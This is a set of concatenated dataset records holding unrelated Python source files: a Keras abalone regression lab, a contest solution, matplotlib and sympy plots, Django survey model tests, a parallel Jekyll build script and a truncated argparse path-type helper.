keras.callbacks import TensorBoard\n\n# Creating the Dataframe using abalone.csv\nabalone_data = pd.read_csv('abalone.csv')\n\n# As per problem description which require as to compute Age , lets first compute the target of problem 'Age'\n# and assign it to dataset abalone_data. Age = Rings + 1.5\nabalone_data['Age'] = abalone_data['Rings']+1.5\nabalone_data.drop('Rings', axis=1, inplace=True)\n\n# Feature wise statistics using builtin tools\nprint(abalone_data.columns)\nprint(abalone_data.head())\nprint(abalone_data.info())\nprint(abalone_data.describe())\n\n# Key Insights\n# All Feature are numeric except sex\n# no Missing value in dataset\n# Creating X and y\nfeature_cols = ['Length', 'Diameter', 'Height', 'Whole_Weight', 'Shucked_Weight', 'Viscera_Weight', 'Shell_Weight']\nX = abalone_data[feature_cols]\ny = abalone_data['Age']\nX_train, X_valid, y_train, y_valid = train_test_split(X, y, test_size=0.3, random_state=0)\nprint(X_train.head())\nprint(y_valid.head())\nnp.random.seed(155)\n\n# Normalization\ndef norm_stats(df1, df2):\n dfs = df1.append(df2)\n minimum = np.min(dfs)\n maximum = np.max(dfs)\n mu = np.mean(dfs)\n sigma = np.std(dfs)\n return (minimum, maximum, mu, sigma)\n\ndef z_score(col, stats):\n m, M, mu, s = stats\n df2 = pd.DataFrame()\n for c in col.columns:\n df2[c] = (col[c]-mu[c])/s[c]\n return df2\n\nstats = norm_stats(X_train, X_valid)\narr_x_train = np.array(z_score(X_train, stats))\narr_y_train = np.array(y_train)\narr_x_valid = np.array(z_score(X_valid, stats))\narr_y_valid = np.array(y_valid)\nprint('Training shape:', arr_x_train.shape)\nprint('Validation',arr_y_train.shape)\nprint('Training samples: ', arr_x_train.shape[0])\nprint('Validation samples: ', arr_x_valid.shape[0])\n\n# Defining the Model\ndef model(x_size, y_size):\n t_model = Sequential()\n t_model.add(Dense(100, activation=\"tanh\", input_shape=(x_size,)))\n t_model.add(Dropout(0.1))\n t_model.add(Dense(50, activation=\"relu\"))\n t_model.add(Dense(20, activation=\"relu\"))\n t_model.add(Dense(y_size))\n t_model.compile(loss='mean_squared_error', optimizer=RMSprop(lr=0.004), metrics=[metrics.mae])\n return t_model\nmodel = model(arr_x_train.shape[1], 1)\n#model.summary()\n\n# Epoch and Batch Size\nepochs = 800\nbatch_size = 128\n\n# Tensoboard Logic\nLOG_DIR = os.getcwd()\ntensorboard = TensorBoard(log_dir='./LOG_DIR', histogram_freq=0, write_graph=True, write_images=True)\n\n# Fit the Model\nhistory = model.fit(arr_x_train, arr_y_train, batch_size=batch_size, epochs=epochs, shuffle=True, verbose=2,\n callbacks=[tensorboard], validation_data=(arr_x_valid, arr_y_valid),)\ntrain_score = model.evaluate(arr_x_train, arr_y_train, verbose=0)\nvalid_score = model.evaluate(arr_x_valid, arr_y_valid, verbose=0)\nprint('Train MAE: ', round(train_score[1], 4), ', Train Loss: ', round(train_score[0], 4))\nprint('Val MAE: ', round(valid_score[1], 4), ', Val Loss: ', round(valid_score[0], 4))\nprint(os.getcwd())\n\n# Function to Plot the Loss\ndef plot_loss(h):\n plt.figure()\n plt.plot(h['loss'])\n plt.plot(h['val_loss'])\n plt.title('Training vs Validation Loss')\n plt.ylabel('Loss')\n plt.xlabel('Epoch')\n plt.legend(['Train', 'Validation'])\n plt.draw()\n plt.show()\n return\nplot_loss(history.history)", "sub_path": "Lab-2/Source/Lab2_1.py", "file_name": "Lab2_1.py", "file_ext": "py", "file_size_in_byte": 3623, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.optimizers.RMSprop", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.metrics.mae", "line_number": 74, "usage_type": "attribute"}, {"api_name": "keras.metrics", "line_number": 74, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.callbacks.TensorBoard", "line_number": 85, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}]} {"seq_id": "613514956", "text": "# coding: utf-8\r\n# Your code here!\r\n\r\nimport bisect\r\nimport math\r\nfrom copy import deepcopy\r\nimport itertools\r\n\r\ndef area(a,b,c,d):\r\n return (c-a)*(d-b)\r\n\r\nn=int(input())\r\n\r\noffice=[]\r\nl=['a','b','c','d']\r\n\r\nfor i in range(n):\r\n x,y,r=map(int,input().split())\r\n office.append((x,y,r,i))\r\n\r\noffice.sort(key=lambda o:o[2])\r\n\r\nUpper=[(10000,0,10000)]\r\nLower=[(0,0,10000)]\r\nLeft=[(10000,0,10000)]\r\nRight=[(0,0,10000)]\r\n\r\nfor x,y,r,i in office:\r\n Upper.append((y,x,x+1))\r\n Lower.append((y+1,x,x+1))\r\n Left.append((x,y,y+1))\r\n Right.append((x+1,y,y+1))\r\n\r\nans=0\r\n\r\nfor v in itertools.permutations(l):\r\n ANS=[]\r\n p=0\r\n upper=deepcopy(Upper)\r\n lower=deepcopy(Lower)\r\n left=deepcopy(Left)\r\n right=deepcopy(Right)\r\n\r\n for s,t,r,i in office:\r\n a,b,c,d=s,t,s+1,t+1\r\n aa,bb,cc,dd=a,b,c,d\r\n\r\n for vi in range(4):\r\n if v[vi]=='a':\r\n index=bisect.bisect(right,(a+1,0,0))-1\r\n for x,y1,y2 in right[index::-1]:\r\n if not (y2<=b or y1>=d):\r\n a=min(max(x,c-int(r//(d-b))),aa)\r\n break\r\n elif v[vi]=='b':\r\n index=bisect.bisect(lower,(b+1,0,0))-1\r\n for y,x1,x2 in lower[index::-1]:\r\n if not (x2<=a or x1>=c):\r\n b=min(max(y,d-int(r//(c-a))),bb)\r\n break\r\n elif v[vi]=='c':\r\n index=bisect.bisect(left,(c,0,0))\r\n for x,y1,y2 in left[index:]:\r\n if not (y2<=b or y1>=d):\r\n c=max(min(x,a+int(r//(d-b))),cc)\r\n break\r\n elif v[vi]=='d':\r\n index=bisect.bisect(upper,(d,0,0))\r\n for y,x1,x2 in upper[index:]:\r\n if not (x2<=a or x1>=c):\r\n d=max(min(y,b+int(r//(c-a))),dd)\r\n break\r\n\r\n index=bisect.bisect(left,(c,0,0))\r\n for x,y1,y2 in left[index:]:\r\n if not (y2<=b or y1>=d):\r\n c=max(min(x,a+int(r//(d-b))),cc)\r\n break\r\n lower.remove((dd,aa,cc))\r\n upper.remove((bb,aa,cc))\r\n left.remove((aa,bb,dd))\r\n right.remove((cc,bb,dd))\r\n lower.append((d,a,c))\r\n upper.append((b,a,c))\r\n left.append((a,b,d))\r\n right.append((c,b,d))\r\n lower.sort()\r\n right.sort()\r\n upper.sort()\r\n left.sort()\r\n p+=1-pow((1-min(r,area(a,b,c,d)/max(r,area(a,b,c,d)))),2)\r\n\r\n ANS.append((a,b,c,d,i,s,t,r))\r\n\r\n if p>ans:\r\n ANS2=deepcopy(ANS)\r\n ans=p\r\n\r\nANS2.sort(key=lambda o:o[4])\r\n\r\nfor a,b,c,d,i,x,y,r in ANS2:\r\n print(a,b,c,d)\r\n", "sub_path": "AHC/001_AtCoder_Ad.py", "file_name": "001_AtCoder_Ad.py", "file_ext": "py", "file_size_in_byte": 2720, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "itertools.permutations", "line_number": 36, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 39, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 40, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 41, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 42, "usage_type": "call"}, {"api_name": "bisect.bisect", "line_number": 50, "usage_type": "call"}, {"api_name": "bisect.bisect", "line_number": 56, "usage_type": "call"}, {"api_name": "bisect.bisect", "line_number": 62, "usage_type": "call"}, {"api_name": "bisect.bisect", "line_number": 68, "usage_type": "call"}, {"api_name": "bisect.bisect", "line_number": 74, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 96, "usage_type": "call"}]} {"seq_id": "132332835", "text": "import numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nplt.figure(figsize=(5,4))\nplt.rcParams['savefig.dpi'] = 1000\nplt.rcParams['figure.dpi'] = 1000\n# 画图\nx = np.array([1,2,3,4,5,6,7,8])\ny1 = np.array([28,26,33,35,24,18,4,1])\ny2 = np.array([26,24.6,29.2,30.4,23.6,10.2,2.2,0.4])\ny3 = np.array([22.3,23.2,27.4,19.6,16,3.5,1.1,0.3])\ndashes = [10, 3, 100, 3]\n\nl1= plt.plot(x, y1,\"-ok\", label='真实值')\nl2 = plt.plot(x, y2,\"-or\", label='全部特征预测')\nl3 = plt.plot(x, y3,\"-ob\", label='内部特征预测')\nplt.axis([1,8,0,35])\nplt.xlabel('时间切片',fontsize=16)\nplt.ylabel('转发人数',fontsize=16)\nplt.legend(loc='lowerright')\nplt.title('谣言传播预测',fontsize=18)\nfig=plt.gcf()\nfig.set_facecolor(\"#F0FAFF\")\nax1=plt.gca()\nax1.patch.set_facecolor(\"#F0FAFF\")\nax1.patch.set_alpha(0.5)\nplt.show()\n\n", "sub_path": "python/plt/t4.py", "file_name": "t4.py", "file_ext": "py", "file_size_in_byte": 919, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 5, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 5, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}]} {"seq_id": "61042740", "text": "import datetime\n\nfrom django.test import TestCase\n\nfrom survey.models import Survey, Result, Answer, Page\n\n\nclass SurveyTest(TestCase):\n fixtures = ['survey.json']\n\n def test_shorten_description(self):\n s = Survey.objects.get(pk=1)\n description = s.shorten_description(6)\n\n self.assertEqual(description, 'Thi...')\n\n def test_shorten_description_smaller(self):\n s = Survey.objects.get(pk=1)\n s.description = 'Short'\n description = s.shorten_description(6)\n\n self.assertEqual(description, 'Short')\n\n def test_save_modified_time(self):\n s = Survey(name='Survey')\n minute_slice = slice(0, 17)\n time = str(datetime.datetime.now())\n s.save()\n saved_time = str(s.created_at)\n self.assertEqual(saved_time[minute_slice], time[minute_slice])\n\n\nclass PageTest(TestCase):\n fixtures = ['survey.json']\n\n def test_get_next_page(self):\n next_page = Page.objects.get_next_page(1, 1)\n self.assertEqual(2, next_page)\n\n def test_get_next_page_last(self):\n next_page = Page.objects.get_next_page(1, 2)\n self.assertIsNone(next_page)\n\n\nclass AnswerTest(TestCase):\n fixtures = ['survey.json']\n\n def test_get_score_sum(self):\n # 1->-5, 4->0, 8->10, 9->1, 13->0\n score = Answer.objects.get_score_sum([1, 4, 8, 9, 13])\n self.assertEqual(score, 6)\n\n\nclass ResultTest(TestCase):\n fixtures = ['survey.json']\n\n def test_get_result(self):\n result = Result.objects.get_result(survey_id=1, score=-5)\n\n self.assertIsInstance(result, Result)\n self.assertEqual(result.min_score, -9)\n self.assertEqual(result.max_score, 0)\n\n def test_get_result_limit(self):\n result = Result.objects.get_result(survey_id=1, score=0)\n\n self.assertIsInstance(result, Result)\n self.assertEqual(result.min_score, 0)\n self.assertEqual(result.max_score, 14)\n\n def test_get_result_above(self):\n result = Result.objects.get_result_above(survey_id=1, score=10)\n\n self.assertIsInstance(result, Result)\n self.assertEqual(result.max_score, 34)\n self.assertEqual(result.min_score, 14)\n\n def test_get_result_above_none(self):\n result = Result.objects.get_result_above(survey_id=1, score=40)\n\n self.assertIsNone(result)\n\n def test_get_result_below(self):\n result = Result.objects.get_result_below(survey_id=1, score=1)\n\n self.assertIsInstance(result, Result)\n self.assertEqual(result.max_score, 0)\n self.assertEqual(result.min_score, -9)\n\n def test_get_result_below_none(self):\n result = Result.objects.get_result_below(1, score=0)\n\n self.assertIsNone(result)\n", "sub_path": "survey/tests/test_models.py", "file_name": "test_models.py", "file_ext": "py", "file_size_in_byte": 2718, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.test.TestCase", "line_number": 8, "usage_type": "name"}, {"api_name": "survey.models.Survey.objects.get", "line_number": 12, "usage_type": "call"}, {"api_name": "survey.models.Survey.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "survey.models.Survey", "line_number": 12, "usage_type": "name"}, {"api_name": "survey.models.Survey.objects.get", "line_number": 18, "usage_type": "call"}, {"api_name": "survey.models.Survey.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "survey.models.Survey", "line_number": 18, "usage_type": "name"}, {"api_name": "survey.models.Survey", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.test.TestCase", "line_number": 33, "usage_type": "name"}, {"api_name": "survey.models.Page.objects.get_next_page", "line_number": 37, "usage_type": "call"}, {"api_name": "survey.models.Page.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "survey.models.Page", "line_number": 37, "usage_type": "name"}, {"api_name": "survey.models.Page.objects.get_next_page", "line_number": 41, "usage_type": "call"}, {"api_name": "survey.models.Page.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "survey.models.Page", "line_number": 41, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 45, "usage_type": "name"}, {"api_name": "survey.models.Answer.objects.get_score_sum", "line_number": 50, "usage_type": "call"}, {"api_name": "survey.models.Answer.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "survey.models.Answer", "line_number": 50, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 54, "usage_type": "name"}, {"api_name": "survey.models.Result.objects.get_result", "line_number": 58, "usage_type": "call"}, {"api_name": "survey.models.Result.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "survey.models.Result", "line_number": 58, "usage_type": "name"}, {"api_name": "survey.models.Result", "line_number": 60, "usage_type": "argument"}, {"api_name": "survey.models.Result.objects.get_result", "line_number": 65, "usage_type": "call"}, {"api_name": "survey.models.Result.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "survey.models.Result", "line_number": 65, "usage_type": "name"}, {"api_name": "survey.models.Result", "line_number": 67, "usage_type": "argument"}, {"api_name": "survey.models.Result.objects.get_result_above", "line_number": 72, "usage_type": "call"}, {"api_name": "survey.models.Result.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "survey.models.Result", "line_number": 72, "usage_type": "name"}, {"api_name": "survey.models.Result", "line_number": 74, "usage_type": "argument"}, {"api_name": "survey.models.Result.objects.get_result_above", "line_number": 79, "usage_type": "call"}, {"api_name": "survey.models.Result.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "survey.models.Result", "line_number": 79, "usage_type": "name"}, {"api_name": "survey.models.Result.objects.get_result_below", "line_number": 84, "usage_type": "call"}, {"api_name": "survey.models.Result.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "survey.models.Result", "line_number": 84, "usage_type": "name"}, {"api_name": "survey.models.Result", "line_number": 86, "usage_type": "argument"}, {"api_name": "survey.models.Result.objects.get_result_below", "line_number": 91, "usage_type": "call"}, {"api_name": "survey.models.Result.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "survey.models.Result", "line_number": 91, "usage_type": "name"}]} {"seq_id": "581381229", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 27 00:55:44 2021\n\n@author: vishakha\n\"\"\"\n\nimport numpy as np\nimport scipy.stats\nimport scipy.stats as stats\nimport matplotlib.pyplot as plt\nimport sympy as s\n\ns.init_printing()\n\nx = s.symbols(\"x\")\nf = x * s.exp(-(x ** 2) / 2)\nf.integrate(x)\nf.integrate((x, 0, s.oo))\nf.integrate((x, 0.32, 2.45))\n\nfn = s.lambdify([x], f)\n\nxs = np.linspace(0, 5, 100)\nplt.plot(xs, fn(xs))\nxs = np.linspace(0.32, 2.45, 50)\nplt.fill_between(xs, fn(xs), color=\"C1\", alpha=0.3)\nplt.ylim(ymin=0)\nplt.show()\n", "sub_path": "neyman.py", "file_name": "neyman.py", "file_ext": "py", "file_size_in_byte": 553, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sympy.init_printing", "line_number": 15, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 17, "usage_type": "call"}, {"api_name": "sympy.exp", "line_number": 18, "usage_type": "call"}, {"api_name": "sympy.oo", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sympy.lambdify", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}]} {"seq_id": "315677182", "text": "#!/usr/bin/env python3\nimport sys\nimport os\nimport subprocess\nimport logging\nimport yaml\nimport math\nimport time\nimport shutil\n\nlogger = logging.getLogger('quit-eval')\nlogger.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n# create console handler with a higher log level\nch = logging.StreamHandler()\nch.setLevel(logging.ERROR)\nch.setFormatter(formatter)\n\ndef setupRuns(number, destinationPath, configFile='_config.yml'):\n setup = []\n stream = open(configFile, 'r')\n data = yaml.load(stream)\n\n if not data['jekyll_rdf']['restriction_file']:\n raise Exception(\"The configuration needs to specify a restriction_file.\")\n\n try:\n os.mkdir(destinationPath)\n except FileExistsError as e:\n pass\n\n with open(data['jekyll_rdf']['restriction_file'], 'r') as resourceFileStream:\n resources = list(resourceFileStream)\n numberOfResources = len(resources)\n logger.debug(numberOfResources)\n resourceSliceSize = int(math.ceil(numberOfResources/number))\n\n for runNumber in range(0, number):\n logger.debug(runNumber)\n runConfig = data\n\n runDestinationPath = os.path.join(destinationPath, 'run' + str(runNumber))\n runConfigFile = os.path.join(destinationPath, '_config' + str(runNumber) + \".yml\")\n runRestrictionFile = os.path.join(destinationPath, 'resources' + str(runNumber) + \".txt\")\n\n with open(runRestrictionFile, 'w') as outfile:\n printResources = resources[resourceSliceSize*runNumber:resourceSliceSize*(runNumber+1)]\n outfile.write(\"\".join(printResources))\n logger.debug(printResources)\n\n runConfig['jekyll_rdf']['restriction_file'] = runRestrictionFile\n\n with open(runConfigFile, 'w') as outfile:\n yaml.dump(runConfig, outfile)\n setup.append({\"destination\": runDestinationPath, \"config\": runConfigFile})\n return setup\n\ndef runAll(setup):\n for runCfg in setup:\n runCfg[\"process\"] = run(runCfg[\"destination\"], runCfg[\"config\"])\n logger.debug(\"started\")\n for runCfg in setup:\n logger.debug(str(runCfg[\"process\"].pid))\n while runCfg[\"process\"].poll() is None:\n logger.debug(\"wait for \" + str(runCfg[\"process\"].pid))\n time.sleep(1)\n logger.debug(\"done\")\n\ndef run(destinationDir, configFile):\n command = [\"bundle\", \"exec\", \"jekyll\", \"build\", \"--config\", configFile, \"--destination\", destinationDir]\n logger.debug(\" \".join(command))\n process = subprocess.Popen(command, cwd=os.getcwd())\n return process\n\n # process.kill()\n\ndef collect(setup):\n sources = []\n for runCfg in setup:\n sources.append(runCfg[\"destination\"] + \"/\")\n\n logger.debug([\"rsync\", \"-a\"] + sources + [\"_multisite/\"])\n shutil.rmtree('_multisite')\n process = subprocess.Popen([\"rsync\", \"-a\"] + sources + [\"_multisite/\"], cwd=os.getcwd())\n while process.poll() is None:\n logger.debug(\"wait for rsync \" + str(runCfg[\"process\"].pid))\n time.sleep(1)\n\nif __name__ == '__main__':\n\n ch.setLevel(logging.DEBUG)\n logger.addHandler(ch)\n\n if (len(sys.argv) < 3):\n logger.error(\"You need to specify a number of threads and destinationPath\")\n sys.exit(1)\n\n numThreads = int(sys.argv[1])\n destinationPath = sys.argv[2]\n configFile = sys.argv[3]\n if configFile == None:\n configFile = \"_config.yml\"\n if not destinationPath[0] == \"_\":\n logger.warning(\"The destination path '{}' does not start with an underscore '_' this can be dangerous.\".format(destinationPath))\n setup = setupRuns(numThreads, destinationPath, configFile)\n logger.debug(setup)\n runAll(setup)\n collect(setup)\n", "sub_path": "jekyllll-rdf.py", "file_name": "jekyllll-rdf.py", "file_ext": "py", "file_size_in_byte": 3782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 17, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 23, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 29, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 67, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 73, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 73, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 84, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 85, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 85, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 88, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 99, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 100, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 101, "usage_type": "attribute"}]} {"seq_id": "383432715", "text": "import argparse\nimport os\n\n\nclass PathType(object):\n '''\n Custom type we will use for folders, courtesy of\n https://stackoverflow.com/questions/11415570/directory-path-types-with-argparse#11415816\n '''\n\n def __init__(self, exists=True, type='file', dash_ok=True):\n '''exists:\n True: a path that does exist\n False: a path that does not exist, in a valid parent directory\n None: don't care\n type: file, dir, symlink, None, or a function returning True\n for valid paths\n None: don't care\n dash_ok: whether to allow '-' as stdin/stdout'''\n\n assert exists in (True, False, None)\n assert type in (\n 'file',\n 'dir',\n 'symlink',\n None) or hasattr(\n type,\n '__call__')\n\n self._exists = exists\n self._type = type\n self._dash_ok = dash_ok\n\n def __call__(self, string):\n if string == '-':\n # the special argument '-' means sys.std{in,out}\n if self._type == 'dir':\n raise argparse.ArgumentTypeError(\n 'standard input/output (-) not allowed as directory path')\n elif self._type == 'symlink':\n raise argparse.ArgumentTypeError(\n 'standard input/output (-) not allowed as symlink path')\n elif not self._dash_ok:\n raise argparse.ArgumentTypeError(\n 'standard input/output (-) not allowed')\n else:\n e = os.path.exists(string)\n if self._exists:\n if not e:\n raise argparse.ArgumentTypeError(\n f'path does not exist: {string}'\n )\n\n if self._type is None:\n pass\n elif self._type == 'file':\n if not os.path.isfile(string):\n raise argparse.ArgumentTypeError(\n f'path is not a file: {string}'\n )\n elif self._type == 'symlink':\n if not os.path.symlink(string):\n raise argparse.ArgumentTypeError(\n f'path is not a symlink: {string}'\n )\n elif self._type == 'dir':\n if not os.path.isdir(string):\n raise argparse.ArgumentTypeError(\n f'path is not a directory: {string}'\n )\n elif not self._type(string):\n raise argparse.ArgumentTypeError(\n f'path not valid: {string}'\n )\n else:\n if self._exists is False and e:\n raise 